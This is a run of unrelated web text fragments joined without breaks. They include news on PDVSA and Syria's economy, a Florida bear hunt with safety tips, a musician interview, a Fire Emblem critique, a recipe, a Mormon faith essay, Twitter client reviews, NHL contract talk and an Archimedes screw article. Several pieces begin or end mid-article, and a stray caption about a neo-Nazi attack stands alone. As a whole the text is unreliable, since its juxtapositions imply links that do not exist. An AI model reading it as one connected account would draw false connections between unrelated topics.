Ramirez said Friday that Maduro would use the meeting to propose creating a special economic zone for group members.
PDVSA, which accounts for 96 percent of the country's export earnings, no longer "generates enough income to cover all its costs and finance its commitments," said Pedro Luis Rodriguez Sosa, an energy expert at the Institute for Advanced Studies in Administration in Caracas.
He said that "you can see PDVSA is in trouble" at the $100-a-barrel level because of the many millions lost to gasoline subsidies and spending on domestic social spending and PDVSA's use as a "geopolitical tool" to maintain regional alliances.
Venezuela has the world's largest oil reserves but PDVSA's production, earnings and income all appear to be on a downward slide and its debts to suppliers rose 35 percent. Its debt to the Central Bank of Venezuela reached $26.19 billion last year, a nearly eight-fold increase in two years.
The government makes no apologies. It says it is employing the country's most important natural resource for the good of the people and promises increased production and revenues in the immediate future.
Ramirez said that PDVSA's efforts remained focused on developing the remote Orinoco belt, site of the world's biggest oil reserves, with the aid of oil firms from China, Russia, the U.S., Italy, Vietnam, Malaysia, Japan and Spain. Venezuela hopes to lift overall production to some 3.32 million barrels a day, 200,000 more than last year.
"We're in a process of trying to attract investment in dollars other than ours," Ramirez said, assuring reporters that PDVSA would work with private investors to not take on more debt to make new investment.
Outside experts, however, are deeply skeptical. They say PDVSA is badly mismanaged and that even a radical overhaul would take years to show results.
Rather than reinvesting enough profits in exploration and maintenance, Chavez dedicated oil revenues to social spending such as building hundreds of thousands of homes and free medical clinics for the poor, they say. Last year PDVSA said it spent $28.83 billion, nearly a quarter of its income, on various state programs.
PDVSA also loses billions subsidizing gasoline for Venezuelan drivers, who pay less to fill up their tanks than people anywhere else in the world.
"The government of Venezuela today uses PDVSA as its petty cash box to lead populist social programs," said Jorge R. Pinon, associate director of the Latin America and Caribbean Program at the University of Texas, Austin. "Whatever capital is left in PDVSA is being mismanaged, mismanaged because they're just not focused on running the company. ... They're focused on building hospitals and schools."
“I couldn't breathe right and I was gasping,” he tells Rolling Stone. “I managed to do the rest of the show. Then the medics came and gave me oxygen and the lung somehow kind of naturally re-inflated.”
Read more: Of Mice & Men’s Austin Carlile was “clinically dead for three hours” during heart surgery
He added, “But things like that happen every day and I've just learned to deal with them. The best laid plans for Of Mice and Men often go awry. I can't plan for much because I feel like life is always going to throw me a curve ball.”
Of Mice & Men have spent the summer on tour alongside Slipknot and Marilyn Manson. While no comment was released, Carlile recently shared pictures of himself on crutches and performing with a brace on his left leg.
Listen: Of Mice & Men release new song without screams
The vocalist also tells Rolling Stone about quitting prescription drugs earlier this year—while recording the band’s new album. “I decided I wanted to be off all the drugs and feel the pain every day and deal with it, rather than not feel anything at all.
“In January, I stopped taking anything and the next three months were the worst of my life. I would throw up in the middle of the night and lie there shaking in my bed, moaning and screaming. The pain was unbearable.”
Read more: Here’s the track listing for Of Mice & Men’s new album, Cold World
He continued, “I did physical therapy four times a week and aqua therapy three times a week while I was coming off the stuff and at the same time I'm recording the record. I'd rather have heart surgery again than go through that again.”
Of Mice & Men have premiered a music video for the second single off their new album, Cold World. Check out the clip for “Real” below and be sure to leave us a comment with your thoughts!
The Florida Fish and Wildlife Conservation Commission on Wednesday approved the week-long hunt on a 6 to 1 vote. It will take place Oct. 24-30.
“It is necessary to remove some of these bears from these habitats or they are going to end up in the suburbs, where it is a death sentence,” said Newton Cook, who came up from Jupiter to attend the meeting Wednesday. He said he planned on going bear hunting in October.
The bear hunt is in response to the growing number of bear encounters, particularly in Central Florida. In some areas of the state, populations of black bears — listed as an "imperiled species" just 21 years ago — are judged to have doubled since 2002.
In April 2014, a Longwood woman was attacked by a bear as she walked near Markham Road and Brackenhurst Place in Longwood — four months after another Longwood woman was attacked while walking her dogs in her neighborhood off Markham Woods Road.
In December 2014, a woman walking her dog along Sherbourne Circle in Heathrow was bitten on the arm by a bear.
Earlier this year, a Longwood family says a bear killed their dog behind their home on Glen Ethel Lane.
In the rules proposed by the wildlife agency staff, each hunter would be permitted to bag one bear per hunting season. Florida hunters would pay $100 for a permit, and out-of-state hunters would pay $300.
The FWC said the bear hunt would be limited to 275 bears for the state. When they get to that number, whether it's on the first day of the season or the last, officials would close the hunt.
Supporters of the plan said the hunt will curb the growing bear population. Opponents, however, said learning to live with bears is more important and humane. They also claim the FWC is basing a decision on outdated numbers.
FWC commissioners insist their decision is based on scientific facts that will decrease bear-human conflicts and help manage the population.
The FWC says the most recent statewide estimate of the bear population was done in 2002. New numbers won't be updated until 2016.
Until 2012, the Florida black bear was on a state-designed threatened species list. For almost 40 years, there have been concerns over the future of the species.
Green and Brown areas show where the bears largely inhabit. The areas with the largest number of bear encounters are the East Panhandle and Central Bear Management Units. To take a closer look at bear encounters where you live, head to the FWC website.
Human-bear conflicts in Florida
Florida Fish and Wildlife officials said a bear threatening a human is rare.
From 1980 to 2012, only 1 percent of bear encounters involved a bear threatening a human. Most of the encounters involving seeing a bear in the area, in a yard or in a tree (38 percent), or seeing a bear rummaging in the garbage (31 percent).
According to FWC, Lake, Marion, Seminole and Volusia counties make up the majority of the calls regarding black bear sightings. The Ocala National Forest, a major bear habitat, spreads out into most of those counties, although Seminole County isn't included in the Ocala National Forest.
(Source: FWC)
What to do if you encounter a bear
If you encounter a bear at close range, remain standing upright, back up slowly and speak to the bear in a calm, assertive voice.
Do NOT feed or intentionally attract bears. If a bear eats something on your property, take note of what it is and secure it once the bear leaves.
NEVER approach or surprise a bear. If you see a bear from a distance, enjoy the experience, but do not move toward the bear. If you are close, do not make any sudden or abrupt movements. Back way slowly and be sure the bear has an obvious escape route.
If you are in your yard:
Make sure that you are in a safe area and that the bear has a clear escape route. Then, make noise or bang pots and pans to scare the bear away.
Do NOT turn your back, play dead, climb a tree or run. Back away slowly into the house or secure area.
Avoid direct eye contact. Bears and many other animals may view this as aggressive behavior.
Report any bear that is threatening the safety of humans, pets or livestock, or causing property damage to the FWC.
(Source: FWC)
How to keep bears away from your home
Secure household garbage in a shed, garage or a wildlife-resistant container.
Put household garbage out on morning of pickup rather than the night before.
Secure commercial garbage in bear-resistant dumpsters.
Protect gardens, apiaries, compost and livestock with electric fencing.
Encourage your homeowners association or local government to institute ordinances on keeping foods that attract wildlife secure.
Feed pets indoors or bring in dishes after feeding.
Clean grills and store them in a locked, secure place.
Remove wildlife feeders or make them bear-resistant.
Pick ripe fruit from trees and remove fallen fruit from the ground. Bears love fruit!
Screened enclosures are not secure and will not keep out bears.
(Source: FWC)
While plenty of new features have been added, several old ones have returned, including the opportunity for players to get married—an option that was removed from the game in 1995. Getting hitched in Fire Emblem results in stat bonuses and children—as long as the pairing is heterosexual.
Explicit same-sex romance in video games is a fairly recent phenomenon but homoerotic dialogue and storylines have been around for quite some time, including in Fire Emblem. From suspiciously campy villains to intimate conversations between male “friends,” Intelligent Systems has probably bruised their eyelids with all the winking they’ve been doing.
Which makes it all the more irritating that after 18 years of Fire Emblem without marriage, early reports indicate Intelligent Systems has revived the feature as if the world hasn’t changed since 1995. Some gamers have already registered their dismay—and, in some cases, bewilderment, that same-sex characters can’t wed:
On NeoGAF, BigJiantRobut commented how female characters Lyn and Florina “were pretty much engaged anyway.” Meanwhile, a poster on Nintendo3DSBlog made it clear he was voting with his wallet: “If a game offers marriage options and leaves another group out of the equation then, yes, I am not paying money for it. Try walking a few steps in my boots and you will be enlightened.”
You could argue that same-sex unions would be anachronistic given the game’s medieval setting—but the flying horses and pet dragons kind of undermine that theory.
You could argue that Japan isn’t one of the 11 countries that recognize marriage equality, but Fire Emblem is about as far removed from modern real-world Japan as Game of Thrones is from, say, Germany.
You might even argue that LGBT gamers are reading things into Fire Emblem that just aren’t there. But you’d have to ignore dialogue like this conversation between two male characters. (See image at bottom.)
Perhaps next time Intelligent Systems will live up to its name and, instead of just having same-sex characters talk about how they can’t live without each other (wink wink), it’ll just let them get married and be done with it.
Print Yum Cilantro Lime Chicken Ingredients 4 chicken breasts
1/2 cup cilantro, chopped
juice from 4 limes Instructions Add all ingredients to baking dish or gallon-size ziploc bag and allow to marinate in refrigerator at least 4 hours. Place in 350 degree oven for approximately 30 minutes or until done or grill until desired doneness. Serve with rice and beans. Schema/Recipe SEO Data Markup by Yummly Rich Recipes 0.1 http://myrealfoodfamily.com/cilantro-lime-chicken/
What is your favorite flavors or spices to add to chicken?
The denial was part of a long list of other cases that the Supreme Court also declined to hear.
EPIC, a technology and civil liberties-minded group in Washington, DC, filed the plea directly to the Supreme Court, bypassing any lower court—an unusual tactic. The group argued that no other court had the jurisdiction to overturn an order issued by the Foreign Intelligence Surveillance Court (FISC).
As we reported earlier, the petition argued that "[i]t is simply not possible that every phone record in the possession of a telecommunications firm could be relevant to an authorized investigation. The telephone surveillance order exceeds the scope of FISC's jurisdiction under the FISA law."
“[T]he statute requires that production orders be supported by 'reasonable grounds to believe that the tangible things sought are relevant to an authorized investigation,'" EPIC wrote. "It is simply unreasonable to conclude that all telephone records for all Verizon customers in the United States could be relevant to an investigation."
Throughout my life I was taught a particular narrative and understanding of the Mormon faith. This perspective was taught to me as the only valid path to God and the “true” way of understanding Joseph Smith’s spiritual message. Add to this the long history within the LDS Church, going all the way back to the conflicts in Missouri, of expected obedience to authority, and the result was a dependence upon Church leaders for answers. I was taught to interpret Mormonism through their lens, and that their lens was the only one capable of returning me to God.
As that perspective and narrative broke down under the scrutiny of study, I, as so many others have, struggled in my faith. I found that there were significant aberrations in the lens with which I had been provided to view my Mormon heritage. I had been told that no other lens was “true”, yet I found that the lens provided to me could also not be “true”. Over time I learned to develop my own lens, grinding and polishing the imperfections as I found them, eventually creating the lens I use today.
I went through a lot of work to rebuild the lens of my faith. It was not easy and I faced significant cultural pressure to conform to the accepted lens. Such difficulty is unnecessary, however. It needn’t be so. What if there were alternatives? Why have only one lens?
If you can see your path laid out in front of you step by step, you know it’s not your path. Your own path you make with every step you take. That’s why it’s your path.
Joseph Campbell
This is why I appreciate the lens with which the Givens see their Mormon faith, and why I especially appreciate that they are sharing it. I see many who discount the Givens as peddling a Mormonism different than the official narrative. Indeed, that is so, but why is that a problem? Like the literalist, conservative leaders who declare one “true” lens, those who complain about the Givens are also caught in the single lens paradigm, only, rather than accepting the lens, they toss it out.
What if, rather than setting up this dichotomy, other perspectives were seen as valid? What if we were allowed to explore varying perspectives of our Mormon faith – some seeing, for example, Joseph Smith according to the traditional narrative, while others rejecting a lot of what Joseph taught, but holding on to his teachings that taste sweet to their soul? Elder Ballard, in a recent BYU devotional address, may have opened the door to such a spiritual marketplace:
As we begin to consider some of your questions, it’s important to remember I am a general authority, but that doesn’t make me an authority in general. My calling and life’s experiences allow me to respond to certain types of questions. There are other types of questions that require an expert in the specific subject matter. This is exactly what I do when I need an answer to such questions. I seek others including those with degrees and expertise in such fields. I worry sometimes that members expect too much from Church leaders and teachers, expecting them to be experts in subjects well beyond their duties and responsibilities. The Lord called the apostles and prophets to invite others to come unto Christ, not to obtain advanced degrees in ancient history, biblical studies, and other fields that may be useful in answering all the questions we may have about scriptures, history, and about the Church. Our primary duty is to build up the church, teach the doctrine of Christ, and help those in need of our help. Fortunately, the Lord provided this counsel for those asking questions: “Seek ye diligently[,]… teach one another words of wisdom; yea, seek ye out of the best books words of wisdom; seek learning, even by study and also by faith.” (D&C 88:118) If you have a question that requires an expert please take the time to find a thoughtful qualified expert to help you. There are many on this campus and elsewhere who have the degrees and expertise to respond and give some insight to most of these types of questions.
I really appreciate that Elder Ballard seems to be walking back the “one true lens” type of thinking. We need not rely solely upon our leaders to interpret the Mormon faith for us. The Mormon faith has for too long been dominated by one particular perspective – one “true lens” with which to view our spiritual heritage. However, if the religion is to remain vibrant and compelling into the future, dogmatic adherence to one particular perspective, given to us by our leaders, must come to an end. Those on both sides who deride the Givens’ work are limiting themselves to a Mormonism consisting of that one lens. It need not be so. Instead, we should explore our faith through our own lens. Doing so requires persuasion, patience, and love for each other and, again, the Givens are showing a great example in doing so. They have not declared their perspective as the one true lens through which all must view the Mormon faith. Instead, they have sought to persuade others and offer their perspective as an aid to others. Some may utilize aspects of the Givens’ perspective while others may not, but each person should have the freedom to develop a faith and lens that fits their unique gifts and life. As these varying perspectives come together, a vibrant community can develop – a community capable of supporting and strengthening those of varying faith, whether they be Bruce R. McConkie Mormons, literalists, or liberals.
I’ll close with one of my favorite quotes along these lines. It comes from a Sunstone essay authored by Lavina Fielding Anderson titled, “In the Garden God Hath Planted: Explorations Toward a Maturing Faith”:
God doesn’t plant lawns. He plants meadows. But we belong to a church that, currently, values lawns–their sameness, their conformity, the ease with which they can all be cut to the same height, watered on schedule, and replaced by new turf if necessary. (And against which it is easy to spot dandelions.) All organizations are limited in their ability to handle diversity, but our church seems particularly limited right now in it’s ability to cherish and nurture individuals as individuals–as wild geraniums, catnip, western coneflowers, or yarrow–not as identical blades of grass in a uniformly green lawn…Patience is hard, but I plan to still be here when the Church stops experimenting with lawns and refocuses on the garden which the Lord hath planted.
Subject : two pastel green towels, Egyptian cotton
: two pastel green towels, Egyptian cotton Stimulus : Pinkerton , Weezer's critically underrated second album
: , Weezer's critically underrated second album Desired Response : The towels should autonomously dry my naked body, with no effort required on my behalf
: The towels should autonomously dry my naked body, with no effort required on my behalf Duration: 6 month test period
The idea for this experiment came in the shower one morning. I waste a tremendous amount of time every day drying myself. If I could train my towels to do this for me, my life would be more efficient.
It was clear I would need some stimulus more powerful than the ringing of a handbell to condition my towels, due to their lack of ears. I plumped for Pinkerton as it has enough energy to do the task and, more importantly, it's something I could put up with listening to every morning. If I played the album to my towels while drying myself daily, over a six month period, then my theory states that they would associate drying my body with the music. Once this response is ingrained, merely listening to the album would cause my towels to rise from the chair and dry my body, leaving me free to think about more important things.
Every morning for the last three months, I've dried myself with the same two towels while listening (or more importantly while they listen) to the same album. No sign of independent movement yet, but I'm hopeful it'll manifest within the next three months.
photo report from the neonazi murderous attack
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We're used to seeing Philip Selway behind a range of drums and cymbals as the unswerving and inventive back beat to Radiohead. But on his forthcoming solo album, Familial, Selway steps away from the kit, singing and playing acoustic guitar on 10 hushed folk songs in the shadowy tradition of Nick Drake. The album is quiet, but there's an unnerving sense of dread that connects the material to his main gig; it's music for a foreboding twilight. Guests including Wilco's Glenn Kotche and Pat Sansone, and veteran singer-songwriter Lisa Germano. (The album's out on August 31 in the UK via Bella Union and a day later in the U.S. through Nonesuch.)
We recently met up with Selway at a posh downtown Manhattan hotel. Floor-to-ceiling windows offered a view of some rare NYC greenery outside. Inside, the drummer/singer/songwriter was thoughtfully polite and casual in a fuschia t-shirt and brightly striped socks that could've been on loan from a pre-teen's dresser. He talked about what it feels like to be the guy answering all the questions for once:
Pitchfork: How long have you wanted to do your own record?
Philip Selway: I've been playing guitar and writing songs since I was 15 but I started really thinking about making an album around four years ago. But I didn't know I'd sing on it; I didn't feel I had a convincing voice at that point. It took four years of trial and error to find out the stretches I could make. It's a bit of a leap of faith. The first time I actually heard my voice coming back in the studio was when I thought, "OK, maybe I can do this." Even so, you do feel very vulnerable. When you're singing, it sounds a particular way in your mind-- like how you think your speaking voice sounds like James Earl Jones in your head but it's really more like Mickey Mouse. [laughs]
Pitchfork: Do you feel like listening to Thom Yorke live and in the studio made it easier or harder for you to feel comfortable singing?
PS: Both. It's a very high bar to have hanging over you. But, over the years, everybody has very much developed their own voice in what we do.
Pitchfork: Another surprising thing about your album is how little drumming is on it.
PS: And the drumming that is on there is mostly by [Wilco's] Glenn Kotche. He's fantastic. He took drum parts and mixed in all these delicate layers which throw things off kilter. For me, if Jonny [Greenwood] played drums, he'd be Glenn. They work in very similar ways. It was a revelation working with Glenn on the material because, in my mind, I hadn't heard any drum parts on these songs at all. If you're working on more of a muted, delicate level, it's very easy to end up sounding too tasteful, so finding somebody who could scuff up these really rich sounds was great. I just sat there with my notebook.
Pitchfork: What really drew me into the album were the disquieting, atmospheric touches you're talking about, which make the record more than a singer-songwriter-type thing. I also feel like that slight creepiness offers a continuity with your work with Radiohead. How much did you think about that off kilter element?
PS: Quite a lot, actually. Because I knew if I over-prettified the songs it'd be really precious or saccharine. And, lyrically, that's not what's going on.
Pitchfork: Yeah, like "The Ties That Bind" seems to be about hoping your son doesn't make the same mistakes you did. Do you feel you've made a lot of mistakes that way?
PS: Every family has their eccentricities, and you pass them on down through the generations. When you see the potential for the less functional side of yourself coming out in your kids, it's unnerving. There's a sense that you have to actually resolve something within yourself.
Pitchfork: Were you a troublesome kid yourself?
PS: Not at all. I was quite self content in lots of ways, so it would be very easy to look at me and think everything was all going along swimmingly. But show me a teenager where that's the case. [laughs] It just doesn't happen like that, does it?
Pitchfork: What were some of your more angst-y traits as a teenager?
PS: I have this bizarre see-saw thing with confidence. I was perfectly happy to get up and play drums for the first time during my first gig, but then there would just be this distinct lack of confidence in other areas. As a teenager, I was kind of prone to my periods of gridlock where it was very difficult to access what was really going on. I had very strong instincts about stuff, but couldn't verbalize the thought processes behind them. As a grown up, I've been picking away at that and actually trying to make connections a lot more.
Pitchfork: Do you remember what opened you up to the dark line that runs through this album? A lot of it reminds me of Nick Drake.
PS: Oh, I love Nick Drake. Five Leaves Left has been a constant companion over the years. But I think also working in Radiohead does all of that, too. It has its own very lovable dark side to it. You get carried along in the push and pull.
Pitchfork: It's funny because the common perception of Radiohead is how Thom Yorke and Jonny Greenwood are these weird geniuses, and you, Colin Greenwood, and Ed O'Brien are more normal and down-to-earth. But then your album has this strange side. And I'm sure Thom has his moments of sentimentality, too.
PS: [laughs] I think he's probably always been combating against that one. As you go on in a band you do have the caricatures which people apply to you. It always feels a bit more complicated when you're in the middle of it. [laughs]
Pitchfork: I'd imagine so. Was part of the inspiration behind this album to flesh out that caricature?
PS: Possibly. I suppose part of it is trying to paint a fuller picture. I am one of the more shadowy figures in Radiohead-- which is a great place to be. As a drummer in a five-piece, you can easily get bound up in this rather distasteful shout for attention but, in some ways, a drummer is there to do a job and doesn't really need to speak. Inevitably, you are going to be the bottom of people's list for things like interviews. You can try and kick against it, but that's just not me.
Pitchfork: How do you feel about doing all the talking in interviews about this album?
PS: It's a different kind of talking. When you're talking in a Radiohead interview you're always talking on behalf of everybody else. But now I'm just talking about myself, really. [laughs] There's a part of me that shudders at the thought. It's not how I was brought up. But I think it fills in some of the blanks on my record so I'm happy to do it. I listen to the record and feel that it's actually a genuine representation of me. That sounds horrendously egotistical; it probably is.
Pitchfork: I'm pretty sure I know what the answer to this last question is, but I'd probably be fired if I didn't ask it...
PS: [The new Radiohead album] is not finished yet. [laughs] So you didn't even have to ask it.
Pitchfork: I appreciate that.
"It's not that bad to have behind you the Russians, the Chinese and Iranians," Qadri Jamil, Syria's deputy prime minister for economic affairs, told The Financial Times.
"Those three countries are helping us politically, militarily -- and also economically."
Russia and Iran have publicly acknowledged their support for the regime of President Bashar Assad, but China has been less open.
Beijing had no immediate comment on the article.
Ships "under the flag of the Russians" deliver oil and related products to Syria, Jamil said without giving details.
"We are waiting for someone to attack them," he said.
Syria's coasts are still regime-controlled.
Other support from the three countries includes an "unlimited" credit line with Iran for food and oil-product imports, Jamil said.
Syrian Central Bank Governor Adeeb Mayaleh told Syrian state-owned newspaper Tishreen May 27 the credit line from Iran to finance imports and oil and gas purchases was up to $4 billion.
Tehran is itself the subject of damaging Western sanctions, imposed to pressure Iran into ending its suspect nuclear program.
Syria has also set up barter deals with Baghdad, Mayaleh told Tishreen.
Iraq is also supplying Syria with oil and gas needs, a senior Syrian petroleum ministry official told The Wall Street Journal.
Jamil acknowledged to the Times Syria's war-ravaged, sanctions-debilitated economic situation was "complicated and very difficult."
Since the outbreak of the Syrian civil war in March 2011, the economic sanctions have restricted trade with the United States, the European Union, 12 non-EU European countries, Canada, Australia and Japan.
The sanctions and the instability brought on by the war have crumbled Syria's economy, collapsing its main money-earning industries of oil and tourism, economists say.
The country's gross domestic product, which the World Bank estimated stood at almost $60 billion in 2010, shrank nearly 45 percent through 2012, economists and some Syrian regime officials estimate.
Since the war started, the Syrian pound has lost 70 percent of its value against the U.S. dollar.
The World Bank estimates inflation topped 50 percent last year, while independent Syrian newspaper Baladna estimated most goods have gone up an average 240 percent since March 2011.
Minimum monthly wages, meanwhile, have largely stayed the same, ranging from the equivalent of $200 to $300 depending on the exchange rate.
Despite the hardships, Damascus is getting around the sanctions somewhat by trading in Russian rubles, Iranian rials and Chinese renminbi, Jamil told the Times.
He said it was a "mistake" for Syria to have traded in Western currencies previously.
"Now we have a straight line between the Syrian pound and those three currencies, and we have got out of the circle of euros and dollars," he said.
Jamil said when a political resolution to the war is achieved, the Assad regime would seek compensation from the world powers that opposed it, just as Germany was required to give reparations to the Allied governments after World War II.
Kiwi 2 is an exercise in letting the user pick a theme, while ripping off only the worst parts of Tweetie. It leaves you with a confusing and ugly interface. I don’t like to say bad things about products that people clearly took time and effort to build, but this needs a ground up redesign. The ‘compose’ window is a rip off of Tweetie, yet it is 18 times uglier, that top bar for instance is on steroids. The navigation bar is confusing, trying to follow a new user is too difficult. The ads are implemented poorly and look like they are from 2002 instead of 2011.
You get a rule system where you can define actions that Kiwi should take given parameters you set, which is neat. This works as a way of filtering out, say, Instagram tweets. A pretty neat feature but I would rather just unfollow someone instead of filtering tweets that I see.
The tab system it uses makes absolutely no sense. If I have the Brooks Review tab open and I go to close that tab Kiwi will delete that account from the app. This is not a convenient feature – this is stupid, I can’t fathom why you would want a quick way of deleting an account. Tabs are fine, but honestly why make them closeable if that is not the intended use of tabs? If I want to view the icons across the top in ‘text only’1 view to save space and clean up the UI, I can, but the minute I click on one text view goes away. Oops.
No, thanks.2
When I first started using Twitter this is what I used. I went to give it another run through, but you needed Flash to install it, I don’t have Flash installed in Safari. That is the precise point that I remembered it runs on Adobe’s Air platform. So I just looked at the screenshots and decided: no way.
Ok that is not fair, I installed it using Chrome and updated Air on my machine and added an account. Then I sent a tweet from it, then I deleted it from my MacBook Air.
Thoroughly tested.
It really is just ugly and very overwhelming to use, not for me in any way. On the plus side I don’t hate the icon. Tweetdeck has gained new features since I last used it, but it is still the same cluttered Windows inspired app that it was back when I started with Twitter. The sad thing is I know so many people that use it, I wish they knew better.
Within the first ten-seconds of running this app I started to like it. It was recommended to me by Justin Blanton and I can see why he uses it. Echofon, unlike Kiwi, takes a lot of the good design cues from Tweetie. I really do like Echofon a lot and think that it has some really great things going for it.
Did you know that Echofon will position sync with the iOS apps, thus keeping you right where you left off on all your devices? That is pretty damn cool. I particularly like the design of the top bar and how you compose a new tweet.
What I really didn’t like is how you switch between accounts, the inactive account kinda gets forgotten in the UI especially if you don’t look at your dock. There needs to be better indication of the fact that you are running multiple accounts, and it would be nice to get a better more Tweetie like direct message view. That said this app doesn’t lack on keyboard shortcuts and has some nice OS integrations like adding the current Safari pages URL in the compose window.
If there is one thing I hate about the app it is the you must view Tweets with a username instead of the real name field – people pick stupid Avatars and stupid usernames that confuse the stupid out of me.3
Kept breaking and crashing when I tried to switch views… the app is really not usable. At least on my machine.
Free version has only one account supported4 and the app acts more like a desktop widget and not so much an app. That means that by default it sits on top of everything else and yet it feels like something to keep you up to date, not something you should be interacting with. The way the app was designed is very different from all other Twitter apps I tried. I don’t dislike it, but I also don’t like it very much – Twitterrific just does not fit my workflow and how I integrate Twitter on my Mac.
Having said that it is an interesting option and I urge you to try it out at least once to see if it is something that fits with your workflow.
I need to start by saying that the icon for Hibari is the worst one of the lot. Hibari is not for me, it is a one Twitter account type of app (meaning you can’t have multiple accounts with it). If you are the type that is not that active on Twitter this would be a fantastic little app for you. I would bet that I would find it very serviceable if I could get some extra accounts going, until then it won’t work for me.
Like with Kiwi you can ‘mute’ certain tweets. Unlike Kiwi it looks damn nice. After the lack of multiple Twitter accounts my biggest complaint is the ‘new tweet’ area – it isn’t ugly, but it does look like the developer just gave up when it came time to make this.
This is a nice little minimal app though.
Verdict
Tweetie still wins, and do you want to know why? Aside from Tweetdeck and Twitterrific, the others are just crappy knockoffs of Tweetie. Now for me (for now) Tweetie and DMs are still working, when that stops I am all over Echofon, at which point I may also cry.5
If you are trying to figure out which app to use and you have never used Tweetie then get Echofon because at least then you know it will work. Oh, that and you know that you won’t fall in love with an app that seems forgotten.
[Updated: 12/1/10 at 6:35 AM]
Why on earth would the player ever want to play elsewhere? And why would the team ever allow him to do so?
On what other team would Draisaitl be able to, A) play nightly with the pending “Best Player in the NHL?” Or B) Get second-line centre minutes with a first-line centre that commands as much attention from opposing lineups as Connor McDavid does?
We’re not saying Edmonton is the only team in the National Hockey League that gives us the feeling that a Stanley Cup championship is imminent. There are a few teams like that (Toronto, Dallas, Calgary) and a few other mainstays (Pittsburgh, Chicago, Washington, Anaheim) that could win it any year as well.
But find me a landing spot for Draisaitl that has a better chance than Edmonton of putting a ring on his finger. There isn’t one, and the big German is in on the ground floor of this project, and quite possibly could be wearing a letter in that photo, if the Oilers ever do gather around Big Stanley after a victory in June.
So if we start there, that the player clearly wants to play in Edmonton and the team obviously counts on him as a huge part of their future, should that not alleviate a major portion of the angst over a contract negotiation that looks likely to stretch into September?
As Flames general manager Brad Treliving likes to say, when asked about any of his contract negotiations, “We’ve got it down to two areas we don’t agree on: money and term.” No doubt, those are the areas of concern between Oilers GM Peter Chiarelli and Draisaitl’s agent Mike Liut, just as they were last summer when Calgary star Johnny Gaudreau went through the summer unsigned, finally agreeing on Oct. 10 to a six-year, $40.5 million deal.
After canvassing a few people throughout the hockey world — Liut and Chiarelli aren’t talking — our findings were not surprising.
Accepted logic says Liut is looking for either an eight-year deal or a two-year deal. The player wants long-term security — at a number likely too high for the team’s liking — or he wants to get back to the plate again as soon as possible on the next contract, after a couple more seasons as a Top 10 NHL scorer.
Assuming Chiarelli isn’t biting at Liut’s seven- or eight-year number, his absolute line in the sand is that Draisaitl’s second contract must expire while the player is still a restricted free agent. That simply has to happen, from Chiarelli’s standpoint, which mandates that the “bridge deal” be no longer than three years.
That, of course, is likely one year longer than Liut would fancy. And then, of course, there is the money on any short-term deal.
Chiarelli can see the day when his payroll is driven by the McDavid-Draisaitl entry, the same way Chicago’s is dictated by Toews-Kane, and Pittsburgh’s by Crosby-Malkin. He would rather push that back as far as he can however, and frankly, assuming Draisaitl signs a shorter term deal this time, his next one will likely be a seven-or eight-year contract.
There could also be some organizational caution being exhibited here, although Chiarelli’s experience likely negates that. Remember, the Oilers are a team that presented each of Taylor Hall, Jordan Eberle and Ryan Nugent-Hopkins with long-term, rich deals on just their second contracts.
As we appraise them today, only Hall has lived up to that value. The other two have not borne out to be good deals for the team.
General managers are trending away from awarding that long-term deal too early to anyone less than a bonafide franchise player. Chiarelli will give Draisaitl the dollars, but not with the term. If Draisaitl wants term/security, he’ll have to buy it by giving back some dollars.
Today, we are still in stand-off country, with Draisaitl posting workout videos on his Instagram account wearing Oilers workout clothes. There have been no Group II free agent offer sheets, and most importantly, the player (we suspect) has no interest in signing one.
Following up @drtwofive and @grybes02 #hardos A post shared by Leon Draisaitl (@drat_29) on Jul 27, 2017 at 1:47pm PDT
Draisaitl is still only 21. He’ll likely make well in excess of $100 million in his career. He is McDavid’s preferred linemate, and he’s playing on a team with arguably the brightest future in the entire NHL. He’d be crazy to leave, and the Oilers would be even crazier to allow that to happen.
So he’ll sign with Edmonton, likely before camp opens on Sept. 14. Or before the first regular season game on Oct. 4.
The Archimedes screw was operated by hand and could raise water efficiently An Archimedes screw in Huseby south of Växjö Sweden Archimedes screw Roman screw used to dewater mines in Spain Modern Archimedes screws which have replaced some of the windmills used to drain the polders at Kinderdijk in the Netherlands Archimedes screw as a form of art by Tony Cragg at 's-Hertogenbosch in the Netherlands
History [ edit ]
The screw pump is commonly attributed to Archimedes,[1] on the occasion of his visit to Egypt. This tradition may reflect only that the apparatus was unknown to the Greeks before Hellenistic times and was introduced in Archimedes's lifetime by unknown engineers.[1] Depictions of Greek and Roman water screws show them being powered by a human treading on the outer casing to turn the entire apparatus as one piece, which would require that the casing be rigidly attached to the screw.
Some researchers have postulated this as being the device used to irrigate the Hanging Gardens of Babylon, one of the Seven Wonders of the Ancient World. A cuneiform inscription of Assyrian King Sennacherib (704–681 BC) has been interpreted by Stephanie Dalley[2] to describe casting water screws in bronze some 350 years earlier. This is consistent with classical author Strabo, who describes the Hanging Gardens as irrigated by screws.[3]
German engineer Konrad Kyeser equipped the Archimedes screw with a crank mechanism in his Bellifortis (1405). This mechanism quickly replaced the ancient practice of working the pipe by treading.[4]
Design [ edit ]
The Archimedes screw consists of a screw (a helical surface surrounding a central cylindrical shaft) inside a hollow pipe. The screw is usually turned by windmill, manual labor, cattle, or by modern means, such as a motor. As the shaft turns the bottom end scoops up a volume of water. This water is then pushed up the tube by the rotating helicoid until it pours out from the top of the tube.
The contact surface between the screw and the pipe does not need to be perfectly watertight, as long as the amount of water being scooped with each turn is large compared to the amount of water leaking out of each section of the screw per turn. If water from one section leaks into the next lower one, it will be transferred upwards by the next segment of the screw.
In some designs, the screw is fused to the casing and they both rotate together, instead of the screw turning within a stationary casing. The screw could be sealed to the casing with pitch resin or other adhesive, or the screw and casing could be cast together as a single piece in bronze.
The design of the everyday Greek and Roman water screw, in contrast to the heavy bronze device of Sennacherib, with its problematic drive chains, has a powerful simplicity. A double or triple helix was built of wood strips (or occasionally bronze sheeting) around a heavy wooden pole. A cylinder was built around the helices using long, narrow boards fastened to their periphery and waterproofed with pitch.[3]
Uses [ edit ]
The screw was used predominately for the transport of water to irrigation systems and for dewatering mines or other low-lying areas. It was used for draining land that was underneath the sea in the Netherlands and other places in the creation of polders.
Archimedes screws are used in sewage treatment plants because they cope well with varying rates of flow and with suspended solids. An auger in a snow blower or grain elevator is essentially an Archimedes screw. Many forms of axial flow pump basically contain an Archimedes screw.
The principle is also found in pescalators, which are Archimedes screws designed to lift fish safely from ponds and transport them to another location. This technology is used primarily at fish hatcheries, where it is desirable to minimize the physical handling of fish.
